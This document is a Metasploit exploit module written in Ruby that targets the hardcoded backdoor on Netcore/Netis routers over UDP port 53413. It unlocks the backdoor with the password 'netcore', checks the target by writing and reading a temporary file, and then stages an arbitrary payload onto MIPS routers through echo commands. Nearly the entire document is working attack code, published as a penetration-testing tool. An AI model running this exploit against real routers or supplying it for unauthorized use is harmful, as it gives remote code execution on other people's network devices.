##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netcore Router Udp 53413 Backdoor',
        'Description' => %q{
          Routers manufactured by Netcore, a popular brand for networking
          equipment in China, have a wide-open backdoor that can be fairly
          easily exploited by attackers. These products are also sold under
          the Netis brand name outside of China. This backdoor allows
          cyber criminals to easily run arbitrary code on these routers,
          rendering it vulnerable as a security device.
          Some models include a non-standard echo command which doesn't
          honor -e, and are therefore not currently exploitable with
          Metasploit.  See URLs or module markdown for additional options.
        },
        'Author' => [
          'Nixawk',
          'h00die <mike@shorebreaksecurity.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34117' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
          [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
          [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_MIPSLE
            }
          ],
          [
            'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_MIPSBE
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-08-25',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
        Opt::RPORT(53413)
      ]
    )
  end

  def timeout
    (datastore['TIMEOUT'] || 1000) / 1000.0
  end

  def send_command(data)
    payload = "\x00" * 8
    payload << data
    udp_sock.put(payload)
  end

  def execute_command(cmd, _opts)
    send_command(cmd)
    vprint_status("Sending: #{cmd}")
  end

  def authenticate()
    # netcore is the password to unlock the backdoor
    send_command('netcore')
    resp = udp_sock.get(timeout)
    if resp.include?('Login succeeded!')
      vprint_good('Backdoor Unlocked')
    end
  end

  def check
    connect_udp
    authenticate
    resp = []
    tmp_file = Rex::Text.rand_text_alpha(5)
    # we need to test the echo command to see if it plays nice
    ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
      send_command(command)
      resp << udp_sock.get(timeout)
    end
    disconnect_udp
    resp_str = resp.join(',')
    # check if we got a good response back
    if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
      # some routers have a non-standard echo which doesn't support -en, so we need to detect that
      if resp_str.include?('en ')
        print_status('Router backdoor triggered, but non-exploitable echo command detected.  Not currently exploitable with Metasploit.')
        Exploit::CheckCode::Detected('Netcore backdoor accessible but echo command does not support -en flag; not exploitable with this module')
      else
        Exploit::CheckCode::Vulnerable('Netcore backdoor accessible and echo command supports -en; target is exploitable')
      end
    else
      Exploit::CheckCode::Safe('Netcore backdoor did not respond as expected; target may not be vulnerable')
    end
  end

  def exploit
    print_status('Exploiting...')
    connect_udp
    authenticate
    execute_cmdstager(:flavor => :echo, :linemax => 200)
    disconnect_udp
  end
end
